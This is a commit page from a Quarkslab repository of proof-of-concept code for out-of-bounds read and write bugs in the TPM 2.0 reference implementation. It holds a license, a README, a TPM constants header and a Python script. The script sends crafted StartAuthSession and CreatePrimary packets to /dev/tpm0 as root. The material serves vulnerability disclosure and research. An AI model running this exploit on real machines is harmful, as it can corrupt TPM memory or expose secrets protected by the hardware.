Projects STRLCPY tpm-vulns-poc Commits 0f9b412f
🤬
  • .DS_Store
    Binary file.
  • ■ ■ ■ ■ ■ ■
    LICENSE
     1 +BSD 2-Clause License
     2 +
     3 +Copyright (c) 2022, Quarkslab SAS
     4 +All rights reserved.
     5 +
     6 +Redistribution and use in source and binary forms, with or without
     7 +modification, are permitted provided that the following conditions are met:
     8 +
     9 +1. Redistributions of source code must retain the above copyright notice, this
     10 + list of conditions and the following disclaimer.
     11 +
     12 +2. Redistributions in binary form must reproduce the above copyright notice,
     13 + this list of conditions and the following disclaimer in the documentation
     14 + and/or other materials provided with the distribution.
     15 +
     16 +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
     17 +AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
     18 +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
     19 +DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
     20 +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
     21 +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
     22 +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
     23 +CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
     24 +OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
     25 +OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
  • ■ ■ ■ ■ ■ ■
    README.md
     1 +# TPM Bugs
     2 +
     3 +This repository contains files (PoC and documentation) about the vulnerabilities found in the TPM2.0 reference implementation and in multiple vendor vTPMs and TPMs.
     4 +
     5 +
     6 + 
  • poc/.DS_Store
    Binary file.
  • poc/generic/.DS_Store
    Binary file.
  • ■ ■ ■ ■ ■ ■
    poc/generic/linux/poc-linux-max-cmd-size-detection.py
     1 +# BSD 2-Clause License
     2 +#
     3 +# Copyright (c) 2022, Quarkslab SAS
     4 +# All rights reserved.
     5 +#
     6 +# Redistribution and use in source and binary forms, with or without
     7 +# modification, are permitted provided that the following conditions are met:
     8 +#
     9 +# 1. Redistributions of source code must retain the above copyright notice, this
     10 +# list of conditions and the following disclaimer.
     11 +#
     12 +# 2. Redistributions in binary form must reproduce the above copyright notice,
     13 +# this list of conditions and the following disclaimer in the documentation
     14 +# and/or other materials provided with the distribution.
     15 +#
     16 +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
     17 +# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
     18 +# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
     19 +# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
     20 +# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
     21 +# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
     22 +# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
     23 +# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
     24 +# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
     25 +# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
     26 +
     27 +import struct
     28 +import sys
     29 +import os
     30 +
     31 +
     32 +TPM_DEVICE = '/dev/tpm0'
     33 +TPM_PT_MAX_COMMAND_SIZE = 0x11e
     34 +TPM_PT_MANUFACTURER = 0x105
     35 +TPM_PT_VENDOR_STRING_1 = 0x106
     36 +TPM_PT_VENDOR_STRING_2 = 0x107
     37 +TPM_PT_VENDOR_STRING_3 = 0x108
     38 +TPM_PT_VENDOR_STRING_4 = 0x109
     39 +TPM_PT_FIRMWARE_VERSION_1 = 0x10b
     40 +TPM_PT_FIRMWARE_VERSION_2 = 0x10c
     41 +
     42 +def hexdump(src: bytes, columns: int=16, header: bool = True) -> str:
     43 + if not src or len(src) == 0:
     44 + return ""
     45 +
     46 + if not (1 <= columns <= 255):
     47 + raise ValueError("columns must be greater than 0 and less than 256.")
     48 +
     49 + result = list()
     50 + if header:
     51 + result.append("Off {} ASCII".format(" ".join(["{:02X}".format(i) for i in range(columns)])))
     52 +
     53 + src_len = len(src)
     54 + for i in range(0, src_len, columns):
     55 + s = src[i:i + columns]
     56 + hex_str = " ".join(["{:02X}".format(c) for c in s])
     57 + ascii_str = "".join([chr(x) if 0x20 <= x < 0x7f else '.' for x in s])
     58 + result.append("{:04X} {:<{len}} {}".format(i, hex_str, ascii_str, len=columns * (2 + 1)))
     59 + return '\n'.join(result)
     60 +
     61 +
     62 +def tpm_property_cmd(tpm_prop):
     63 + tag = struct.pack('>H', 0x8001) # TPM_ST_NO_SESSIONS
     64 + get_mft = struct.pack('>L', 0x0000017A) # TPM_CC_GetCapability
     65 + get_mft += struct.pack('>L', 0x00000006) # TPM_CAP_TPM_PROPERTIES
     66 + get_mft += struct.pack('>L', tpm_prop) # e.g. TPM_PT_MANUFACTURER
     67 + get_mft += struct.pack('>L', 0x00000001) # property count
     68 +
     69 + total_size = len(tag) + 4 + len(get_mft)
     70 + return tag + struct.pack('>L', total_size) + get_mft
     71 +
     72 +
     73 +def parse_property_response(response):
     74 + response_code = struct.unpack('>L', response[6:10])[0]
     75 + print('\nResponse code: 0x{:08x}'.format(response_code))
     76 + prop_value = struct.unpack('>L', response[0x17:0x1b])[0]
     77 + print('Property value: 0x{:08x}\n'.format(prop_value))
     78 + return prop_value
     79 +
     80 +
     81 +def create_session_symmetric_xor():
     82 + tag = struct.pack('>H', 0x8001) # tag = TPM_ST_NO_SESSIONS
     83 +
     84 + header = struct.pack('>L', 0x00000176) # command = TPM_CC_StartAuthSession
     85 +
     86 + auth = struct.pack('>L', 0x40000007) # tpmKey = TPM_RH_NULL
     87 + auth += struct.pack('>L', 0x40000007) # bind = TPM_RH_NULL
     88 + auth += struct.pack('>H', 0x0020) # nonceCaller length
     89 + # nonceCaller (0x20 bytes)
     90 + # in the OOB read bug, these 2 bytes are read past the end of the Create_Primary packet, and go to the cipherSize variable in CryptParameterDecryption
     91 + # vv vv
     92 + auth += bytes([ 0x40, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4a, 0x4b, 0x4c, 0x4d, 0x4e, 0x4f,
     93 + 0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59, 0x5a, 0x5b, 0x5c, 0x5d, 0x5e, 0x5f]
     94 + )
     95 + auth += struct.pack('>H', 0x0000) # encrypted salt length
     96 + auth += struct.pack('>B', 0x00) # session type = TPM_SE_HMAC
     97 + auth += struct.pack('>H', 0x000a) # symmetric.algorithm = TPM_ALG_XOR
     98 + auth += struct.pack('>H', 0x000b) # symmetric.keyBits = TPM_ALG_SHA256
     99 + auth += struct.pack('>H', 0x000b) # authHash = TPM_ALG_SHA256
     100 +
     101 + total_size = len(tag) + 4 + len(header) + len(auth)
     102 + pkt = tag + struct.pack('>L', total_size) + header + auth
     103 + return pkt
     104 +
     105 +
     106 +def create_primary_oob_write(session_handle, max_command_size):
     107 +
     108 + tag = struct.pack('>H', 0x8002) # TPM_ST_SESSIONS
     109 + header = struct.pack('>L', 0x00000131) # command = TPM_CC_CreatePrimary
     110 + header += struct.pack('>L', 0x40000001) # primaryHandle = TPM_RH_OWNER
     111 +
     112 + auth = struct.pack('>L', session_handle) # sessionHandle
     113 + auth += struct.pack('>H', 0x0000) # nonceSize
     114 + auth += struct.pack('>B', 0x20) # sessionAttributes = decrypt
     115 + auth += struct.pack('>H', 0x0000) # authorizationSize
     116 +
     117 + header += struct.pack('>L', len(auth))
     118 +
     119 + parameters = struct.pack('>H', max_command_size - 0x1d + 2)
     120 + parameters += bytes([0x88] * (max_command_size - 0x1d))
     121 + total_size = len(tag) + 4 + len(header) + len(auth) + len(parameters)
     122 +
     123 + return tag + struct.pack('>L', total_size) + header + auth + parameters
     124 +
     125 +
     126 +def create_primary_oob_read(session_handle):
     127 +
     128 + tag = struct.pack('>H', 0x8002) # TPM_ST_SESSIONS
     129 + header = struct.pack('>L', 0x00000131) # command = TPM_CC_CreatePrimary
     130 + header += struct.pack('>L', 0x40000001) # primaryHandle = TPM_RH_OWNER
     131 +
     132 + auth = struct.pack('>L', session_handle) # sessionHandle
     133 + auth += struct.pack('>H', 0x0000) # nonceSize
     134 + auth += struct.pack('>B', 0x20) # sessionAttributes = decrypt
     135 + auth += struct.pack('>H', 0x0000) # authorizationSize
     136 +
     137 + header += struct.pack('>L', len(auth))
     138 +
     139 + total_size = len(tag) + 4 + len(header) + len(auth)
     140 + return tag + struct.pack('>L', total_size) + header + auth
     141 +
     142 +
     143 +def get_session_handle(response):
     144 + response_code = struct.unpack(">L", response[6:10])[0]
     145 + session_handle = struct.unpack(">L", response[10:14])[0]
     146 + print("Response code: 0x{:08x}".format(response_code))
     147 + print("Session handle: 0x{:08x}".format(session_handle))
     148 + return session_handle
     149 +
     150 +
     151 +def get_tpm_property(tpm_prop):
     152 + pkt = tpm_property_cmd(tpm_prop)
     153 + response = send_and_receive(pkt)
     154 + return parse_property_response(response)
     155 +
     156 +
     157 +def print_vendor_info():
     158 + manufacturer = get_tpm_property(TPM_PT_MANUFACTURER)
     159 +
     160 + vendor_strings = []
     161 + for i in [TPM_PT_VENDOR_STRING_1, TPM_PT_VENDOR_STRING_2, TPM_PT_VENDOR_STRING_3, TPM_PT_VENDOR_STRING_4]:
     162 + vendor_strings.append(struct.pack('>L', get_tpm_property(i)))
     163 +
     164 + version1 = get_tpm_property(TPM_PT_FIRMWARE_VERSION_1)
     165 + version2 = get_tpm_property(TPM_PT_FIRMWARE_VERSION_2)
     166 +
     167 + print('\n=== Vendor information ===')
     168 + print('\t[i] TPM manufacturer: 0x{:08x} ("{}")'.format(manufacturer, struct.pack('>L', manufacturer).decode('latin-1')))
     169 + print('\t[i] Vendor strings: {} ("{}")'.format(vendor_strings, b''.join(vendor_strings).decode('latin-1')))
     170 + print('\t[i] Firmware version: [0x{:08x} 0x{:08x}] ("{:d}.{:d}.{:d}.{:d})"'.format(version1, version2, \
     171 + (version1 & 0xffff0000) >> 16 , version1 & 0xffff, (version2 & 0xffff0000) >> 16, version2 & 0xffff))
     172 + print('\n\n')
     173 +
     174 +
     175 +def send_and_receive(pkt):
     176 + with open(TPM_DEVICE, 'w+b', buffering=0) as fd:
     177 + print('Sending {} bytes'.format(len(pkt)))
     178 + print(hexdump(pkt))
     179 + fd.write(pkt)
     180 + response = fd.read(1024)
     181 +
     182 + print('\nResponse len: {} bytes'.format(len(response)))
     183 + print(hexdump(response))
     184 + return response
     185 +
     186 +
     187 +def main():
     188 + if os.geteuid() != 0:
     189 + print('Please run as root.')
     190 + sys.exit(1)
     191 +
     192 + if (len(sys.argv) >= 2) and (sys.argv[1].lower() in ['oobread', 'oobwrite']):
     193 + poc = sys.argv[1].lower()
     194 + else:
     195 + print('Usage: {} <oobread | oobwrite>'.format(sys.argv[0]))
     196 + sys.exit(1)
     197 +
     198 + if not os.path.exists(TPM_DEVICE):
     199 + print('[-] Device {} not found, are you sure this computer has a TPM?'.format(TPM_DEVICE))
     200 + sys.exit(1)
     201 +
     202 + print_vendor_info()
     203 +
     204 + pkt = create_session_symmetric_xor()
     205 + print('[1] Sending a Create_Session packet...')
     206 + response = send_and_receive(pkt)
     207 + session_handle = get_session_handle(response)
     208 + print('\n\n')
     209 + print('[2] Getting the TPM_PT_MAX_COMMAND_SIZE property...')
     210 + max_command_size = get_tpm_property(TPM_PT_MAX_COMMAND_SIZE)
     211 +
     212 + if poc == 'oobread':
     213 + print('[3] Triggering the OOB read with a Create_Primary packet...')
     214 + pkt = create_primary_oob_read(session_handle)
     215 + elif poc == 'oobwrite':
     216 + print('[3] Triggering the OOB write with a Create_Primary packet...')
     217 + pkt = create_primary_oob_write(session_handle, max_command_size)
     218 + else:
     219 + raise Exception('Unknown POC option {}'.format(poc))
     220 + send_and_receive(pkt)
     221 +
     222 +
     223 +if __name__ == '__main__':
     224 + main()
     225 + 
  • poc/generic/windows/.DS_Store
    Binary file.
  • ■ ■ ■ ■ ■ ■
    poc/generic/windows/poc-windows-max-cmd-size-detection/Tpm.h
     1 +/*
     2 +# BSD 2-Clause License
     3 +#
     4 +# Copyright (c) 2022, Quarkslab SAS
     5 +# All rights reserved.
     6 +#
     7 +# Redistribution and use in source and binary forms, with or without
     8 +# modification, are permitted provided that the following conditions are met:
     9 +#
     10 +# 1. Redistributions of source code must retain the above copyright notice, this
     11 +# list of conditions and the following disclaimer.
     12 +#
     13 +# 2. Redistributions in binary form must reproduce the above copyright notice,
     14 +# this list of conditions and the following disclaimer in the documentation
     15 +# and/or other materials provided with the distribution.
     16 +#
     17 +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
     18 +# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
     19 +# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
     20 +# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
     21 +# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
     22 +# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
     23 +# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
     24 +# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
     25 +# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
     26 +# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
     27 +*/
     28 +
     29 +#include <basetsd.h>
     30 +#pragma once
     31 +typedef UINT32 TPM_CC;
     32 +#define TPM_CC_FIRST (TPM_CC)(0x0000011F)
     33 +#define TPM_CC_PP_FIRST (TPM_CC)(0x0000011F)
     34 +#define TPM_CC_NV_UndefineSpaceSpecial (TPM_CC)(0x0000011F)
     35 +#define TPM_CC_EvictControl (TPM_CC)(0x00000120)
     36 +#define TPM_CC_HierarchyControl (TPM_CC)(0x00000121)
     37 +#define TPM_CC_NV_UndefineSpace (TPM_CC)(0x00000122)
     38 +#define TPM_CC_ChangeEPS (TPM_CC)(0x00000124)
     39 +#define TPM_CC_ChangePPS (TPM_CC)(0x00000125)
     40 +#define TPM_CC_Clear (TPM_CC)(0x00000126)
     41 +#define TPM_CC_ClearControl (TPM_CC)(0x00000127)
     42 +#define TPM_CC_ClockSet (TPM_CC)(0x00000128)
     43 +#define TPM_CC_HierarchyChangeAuth (TPM_CC)(0x00000129)
     44 +#define TPM_CC_NV_DefineSpace (TPM_CC)(0x0000012A)
     45 +#define TPM_CC_PCR_Allocate (TPM_CC)(0x0000012B)
     46 +#define TPM_CC_PCR_SetAuthPolicy (TPM_CC)(0x0000012C)
     47 +#define TPM_CC_PP_Commands (TPM_CC)(0x0000012D)
     48 +#define TPM_CC_SetPrimaryPolicy (TPM_CC)(0x0000012E)
     49 +#define TPM_CC_FieldUpgradeStart (TPM_CC)(0x0000012F)
     50 +#define TPM_CC_ClockRateAdjust (TPM_CC)(0x00000130)
     51 +#define TPM_CC_CreatePrimary (TPM_CC)(0x00000131)
     52 +#define TPM_CC_NV_GlobalWriteLock (TPM_CC)(0x00000132)
     53 +#define TPM_CC_PP_LAST (TPM_CC)(0x00000132)
     54 +#define TPM_CC_GetCommandAuditDigest (TPM_CC)(0x00000133)
     55 +#define TPM_CC_NV_Increment (TPM_CC)(0x00000134)
     56 +#define TPM_CC_NV_SetBits (TPM_CC)(0x00000135)
     57 +#define TPM_CC_NV_Extend (TPM_CC)(0x00000136)
     58 +#define TPM_CC_NV_Write (TPM_CC)(0x00000137)
     59 +#define TPM_CC_NV_WriteLock (TPM_CC)(0x00000138)
     60 +#define TPM_CC_DictionaryAttackLockReset (TPM_CC)(0x00000139)
     61 +#define TPM_CC_DictionaryAttackParameters (TPM_CC)(0x0000013A)
     62 +#define TPM_CC_NV_ChangeAuth (TPM_CC)(0x0000013B)
     63 +#define TPM_CC_PCR_Event (TPM_CC)(0x0000013C)
     64 +#define TPM_CC_PCR_Reset (TPM_CC)(0x0000013D)
     65 +#define TPM_CC_SequenceComplete (TPM_CC)(0x0000013E)
     66 +#define TPM_CC_SetAlgorithmSet (TPM_CC)(0x0000013F)
     67 +#define TPM_CC_SetCommandCodeAuditStatus (TPM_CC)(0x00000140)
     68 +#define TPM_CC_FieldUpgradeData (TPM_CC)(0x00000141)
     69 +#define TPM_CC_IncrementalSelfTest (TPM_CC)(0x00000142)
     70 +#define TPM_CC_SelfTest (TPM_CC)(0x00000143)
     71 +#define TPM_CC_Startup (TPM_CC)(0x00000144)
     72 +#define TPM_CC_Shutdown (TPM_CC)(0x00000145)
     73 +#define TPM_CC_StirRandom (TPM_CC)(0x00000146)
     74 +#define TPM_CC_ActivateCredential (TPM_CC)(0x00000147)
     75 +#define TPM_CC_Certify (TPM_CC)(0x00000148)
     76 +#define TPM_CC_PolicyNV (TPM_CC)(0x00000149)
     77 +#define TPM_CC_CertifyCreation (TPM_CC)(0x0000014A)
     78 +#define TPM_CC_Duplicate (TPM_CC)(0x0000014B)
     79 +#define TPM_CC_GetTime (TPM_CC)(0x0000014C)
     80 +#define TPM_CC_GetSessionAuditDigest (TPM_CC)(0x0000014D)
     81 +#define TPM_CC_NV_Read (TPM_CC)(0x0000014E)
     82 +#define TPM_CC_NV_ReadLock (TPM_CC)(0x0000014F)
     83 +#define TPM_CC_ObjectChangeAuth (TPM_CC)(0x00000150)
     84 +#define TPM_CC_PolicySecret (TPM_CC)(0x00000151)
     85 +#define TPM_CC_Rewrap (TPM_CC)(0x00000152)
     86 +#define TPM_CC_Create (TPM_CC)(0x00000153)
     87 +#define TPM_CC_ECDH_ZGen (TPM_CC)(0x00000154)
     88 +#define TPM_CC_HMAC (TPM_CC)(0x00000155)
     89 +#define TPM_CC_Import (TPM_CC)(0x00000156)
     90 +#define TPM_CC_Load (TPM_CC)(0x00000157)
     91 +#define TPM_CC_Quote (TPM_CC)(0x00000158)
     92 +#define TPM_CC_RSA_Decrypt (TPM_CC)(0x00000159)
     93 +#define TPM_CC_HMAC_Start (TPM_CC)(0x0000015B)
     94 +#define TPM_CC_SequenceUpdate (TPM_CC)(0x0000015C)
     95 +#define TPM_CC_Sign (TPM_CC)(0x0000015D)
     96 +#define TPM_CC_Unseal (TPM_CC)(0x0000015E)
     97 +#define TPM_CC_PolicySigned (TPM_CC)(0x00000160)
     98 +#define TPM_CC_ContextLoad (TPM_CC)(0x00000161)
     99 +#define TPM_CC_ContextSave (TPM_CC)(0x00000162)
     100 +#define TPM_CC_ECDH_KeyGen (TPM_CC)(0x00000163)
     101 +#define TPM_CC_EncryptDecrypt (TPM_CC)(0x00000164)
     102 +#define TPM_CC_FlushContext (TPM_CC)(0x00000165)
     103 +#define TPM_CC_LoadExternal (TPM_CC)(0x00000167)
     104 +#define TPM_CC_MakeCredential (TPM_CC)(0x00000168)
     105 +#define TPM_CC_NV_ReadPublic (TPM_CC)(0x00000169)
     106 +#define TPM_CC_PolicyAuthorize (TPM_CC)(0x0000016A)
     107 +#define TPM_CC_PolicyAuthValue (TPM_CC)(0x0000016B)
     108 +#define TPM_CC_PolicyCommandCode (TPM_CC)(0x0000016C)
     109 +#define TPM_CC_PolicyCounterTimer (TPM_CC)(0x0000016D)
     110 +#define TPM_CC_PolicyCpHash (TPM_CC)(0x0000016E)
     111 +#define TPM_CC_PolicyLocality (TPM_CC)(0x0000016F)
     112 +#define TPM_CC_PolicyNameHash (TPM_CC)(0x00000170)
     113 +#define TPM_CC_PolicyOR (TPM_CC)(0x00000171)
     114 +#define TPM_CC_PolicyTicket (TPM_CC)(0x00000172)
     115 +#define TPM_CC_ReadPublic (TPM_CC)(0x00000173)
     116 +#define TPM_CC_RSA_Encrypt (TPM_CC)(0x00000174)
     117 +#define TPM_CC_StartAuthSession (TPM_CC)(0x00000176)
     118 +#define TPM_CC_VerifySignature (TPM_CC)(0x00000177)
     119 +#define TPM_CC_ECC_Parameters (TPM_CC)(0x00000178)
     120 +#define TPM_CC_FirmwareRead (TPM_CC)(0x00000179)
     121 +#define TPM_CC_GetCapability (TPM_CC)(0x0000017A)
     122 +#define TPM_CC_GetRandom (TPM_CC)(0x0000017B)
     123 +#define TPM_CC_GetTestResult (TPM_CC)(0x0000017C)
     124 +#define TPM_CC_Hash (TPM_CC)(0x0000017D)
     125 +#define TPM_CC_PCR_Read (TPM_CC)(0x0000017E)
     126 +#define TPM_CC_PolicyPCR (TPM_CC)(0x0000017F)
     127 +#define TPM_CC_PolicyRestart (TPM_CC)(0x00000180)
     128 +#define TPM_CC_ReadClock (TPM_CC)(0x00000181)
     129 +#define TPM_CC_PCR_Extend (TPM_CC)(0x00000182)
     130 +#define TPM_CC_PCR_SetAuthValue (TPM_CC)(0x00000183)
     131 +#define TPM_CC_NV_Certify (TPM_CC)(0x00000184)
     132 +#define TPM_CC_EventSequenceComplete (TPM_CC)(0x00000185)
     133 +#define TPM_CC_HashSequenceStart (TPM_CC)(0x00000186)
     134 +#define TPM_CC_PolicyPhysicalPresence (TPM_CC)(0x00000187)
     135 +#define TPM_CC_PolicyDuplicationSelect (TPM_CC)(0x00000188)
     136 +#define TPM_CC_PolicyGetDigest (TPM_CC)(0x00000189)
     137 +#define TPM_CC_TestParms (TPM_CC)(0x0000018A)
     138 +#define TPM_CC_Commit (TPM_CC)(0x0000018B)
     139 +#define TPM_CC_PolicyPassword (TPM_CC)(0x0000018C)
     140 +#define TPM_CC_ZGen_2Phase (TPM_CC)(0x0000018D)
     141 +#define TPM_CC_EC_Ephemeral (TPM_CC)(0x0000018E)
     142 +#define TPM_CC_PolicyNvWritten (TPM_CC)(0x0000018F)
     143 +#define TPM_CC_LAST (TPM_CC)(0x0000018F)
     144 +
     145 +
     146 +
     147 +// Table 23 Definition of TPM_CAP Constants
     148 +typedef UINT32 TPM_CAP;
     149 +#define TPM_CAP_FIRST 0x00000000
     150 +#define TPM_CAP_ALGS 0x00000000
     151 +#define TPM_CAP_HANDLES 0x00000001
     152 +#define TPM_CAP_COMMANDS 0x00000002
     153 +#define TPM_CAP_PP_COMMANDS 0x00000003
     154 +#define TPM_CAP_AUDIT_COMMANDS 0x00000004
     155 +#define TPM_CAP_PCRS 0x00000005
     156 +#define TPM_CAP_TPM_PROPERTIES 0x00000006
     157 +#define TPM_CAP_PCR_PROPERTIES 0x00000007
     158 +#define TPM_CAP_ECC_CURVES 0x00000008
     159 +#define TPM_CAP_LAST 0x00000008
     160 +#define TPM_CAP_VENDOR_PROPERTY 0x00000100
     161 +
     162 +
     163 +// Table 24 Definition of TPM_PT Constants < IN/OUT, S>
     164 +typedef UINT32 TPM_PT;
     165 +#define TPM_PT_NONE 0x00000000
     166 +#define PT_GROUP 0x00000100
     167 +#define PT_FIXED (PT_GROUP * 1)
     168 +#define TPM_PT_FAMILY_INDICATOR ((TPM_PT)(PT_FIXED + 0))
     169 +#define TPM_PT_LEVEL ((TPM_PT)(PT_FIXED + 1))
     170 +#define TPM_PT_REVISION ((TPM_PT)(PT_FIXED + 2))
     171 +#define TPM_PT_DAY_OF_YEAR ((TPM_PT)(PT_FIXED + 3))
     172 +#define TPM_PT_YEAR ((TPM_PT)(PT_FIXED + 4))
     173 +#define TPM_PT_MANUFACTURER ((TPM_PT)(PT_FIXED + 5))
     174 +#define TPM_PT_VENDOR_STRING_1 ((TPM_PT)(PT_FIXED + 6))
     175 +#define TPM_PT_VENDOR_STRING_2 ((TPM_PT)(PT_FIXED + 7))
     176 +#define TPM_PT_VENDOR_STRING_3 ((TPM_PT)(PT_FIXED + 8))
     177 +#define TPM_PT_VENDOR_STRING_4 ((TPM_PT)(PT_FIXED + 9))
     178 +#define TPM_PT_VENDOR_TPM_TYPE ((TPM_PT)(PT_FIXED + 10))
     179 +#define TPM_PT_FIRMWARE_VERSION_1 ((TPM_PT)(PT_FIXED + 11))
     180 +#define TPM_PT_FIRMWARE_VERSION_2 ((TPM_PT)(PT_FIXED + 12))
     181 +#define TPM_PT_INPUT_BUFFER ((TPM_PT)(PT_FIXED + 13))
     182 +#define TPM_PT_HR_TRANSIENT_MIN ((TPM_PT)(PT_FIXED + 14))
     183 +#define TPM_PT_HR_PERSISTENT_MIN ((TPM_PT)(PT_FIXED + 15))
     184 +#define TPM_PT_HR_LOADED_MIN ((TPM_PT)(PT_FIXED + 16))
     185 +#define TPM_PT_ACTIVE_SESSIONS_MAX ((TPM_PT)(PT_FIXED + 17))
     186 +#define TPM_PT_PCR_COUNT ((TPM_PT)(PT_FIXED + 18))
     187 +#define TPM_PT_PCR_SELECT_MIN ((TPM_PT)(PT_FIXED + 19))
     188 +#define TPM_PT_CONTEXT_GAP_MAX ((TPM_PT)(PT_FIXED + 20))
     189 +#define TPM_PT_NV_COUNTERS_MAX ((TPM_PT)(PT_FIXED + 22))
     190 +#define TPM_PT_NV_INDEX_MAX ((TPM_PT)(PT_FIXED + 23))
     191 +#define TPM_PT_MEMORY ((TPM_PT)(PT_FIXED + 24))
     192 +#define TPM_PT_CLOCK_UPDATE ((TPM_PT)(PT_FIXED + 25))
     193 +#define TPM_PT_CONTEXT_HASH ((TPM_PT)(PT_FIXED + 26))
     194 +#define TPM_PT_CONTEXT_SYM ((TPM_PT)(PT_FIXED + 27))
     195 +#define TPM_PT_CONTEXT_SYM_SIZE ((TPM_PT)(PT_FIXED + 28))
     196 +#define TPM_PT_ORDERLY_COUNT ((TPM_PT)(PT_FIXED + 29))
     197 +#define TPM_PT_MAX_COMMAND_SIZE ((TPM_PT)(PT_FIXED + 30))
     198 +#define TPM_PT_MAX_RESPONSE_SIZE ((TPM_PT)(PT_FIXED + 31))
     199 +#define TPM_PT_MAX_DIGEST ((TPM_PT)(PT_FIXED + 32))
     200 +#define TPM_PT_MAX_OBJECT_CONTEXT ((TPM_PT)(PT_FIXED + 33))
     201 +#define TPM_PT_MAX_SESSION_CONTEXT ((TPM_PT)(PT_FIXED + 34))
     202 +#define TPM_PT_PS_FAMILY_INDICATOR ((TPM_PT)(PT_FIXED + 35))
     203 +#define TPM_PT_PS_LEVEL ((TPM_PT)(PT_FIXED + 36))
     204 +#define TPM_PT_PS_REVISION ((TPM_PT)(PT_FIXED + 37))
     205 +#define TPM_PT_PS_DAY_OF_YEAR ((TPM_PT)(PT_FIXED + 38))
     206 +#define TPM_PT_PS_YEAR ((TPM_PT)(PT_FIXED + 39))
     207 +#define TPM_PT_SPLIT_MAX ((TPM_PT)(PT_FIXED + 40))
     208 +#define TPM_PT_TOTAL_COMMANDS ((TPM_PT)(PT_FIXED + 41))
     209 +#define TPM_PT_LIBRARY_COMMANDS ((TPM_PT)(PT_FIXED + 42))
     210 +#define TPM_PT_VENDOR_COMMANDS ((TPM_PT)(PT_FIXED + 43))
     211 +#define TPM_PT_NV_BUFFER_MAX ((TPM_PT)(PT_FIXED + 44))
     212 +#define PT_VAR (PT_GROUP * 2)
     213 +#define TPM_PT_PERMANENT ((TPM_PT)(PT_VAR + 0))
     214 +#define TPM_PT_STARTUP_CLEAR ((TPM_PT)(PT_VAR + 1))
     215 +#define TPM_PT_HR_NV_INDEX ((TPM_PT)(PT_VAR + 2))
     216 +#define TPM_PT_HR_LOADED ((TPM_PT)(PT_VAR + 3))
     217 +#define TPM_PT_HR_LOADED_AVAIL ((TPM_PT)(PT_VAR + 4))
     218 +#define TPM_PT_HR_ACTIVE ((TPM_PT)(PT_VAR + 5))
     219 +#define TPM_PT_HR_ACTIVE_AVAIL ((TPM_PT)(PT_VAR + 6))
     220 +#define TPM_PT_HR_TRANSIENT_AVAIL ((TPM_PT)(PT_VAR + 7))
     221 +#define TPM_PT_HR_PERSISTENT ((TPM_PT)(PT_VAR + 8))
     222 +#define TPM_PT_HR_PERSISTENT_AVAIL ((TPM_PT)(PT_VAR + 9))
     223 +#define TPM_PT_NV_COUNTERS ((TPM_PT)(PT_VAR + 10))
     224 +#define TPM_PT_NV_COUNTERS_AVAIL ((TPM_PT)(PT_VAR + 11))
     225 +#define TPM_PT_ALGORITHM_SET ((TPM_PT)(PT_VAR + 12))
     226 +#define TPM_PT_LOADED_CURVES ((TPM_PT)(PT_VAR + 13))
     227 +#define TPM_PT_LOCKOUT_COUNTER ((TPM_PT)(PT_VAR + 14))
     228 +#define TPM_PT_MAX_AUTH_FAIL ((TPM_PT)(PT_VAR + 15))
     229 +#define TPM_PT_LOCKOUT_INTERVAL ((TPM_PT)(PT_VAR + 16))
     230 +#define TPM_PT_LOCKOUT_RECOVERY ((TPM_PT)(PT_VAR + 17))
     231 +#define TPM_PT_NV_WRITE_RECOVERY ((TPM_PT)(PT_VAR + 18))
     232 +#define TPM_PT_AUDIT_COUNTER_0 ((TPM_PT)(PT_VAR + 19))
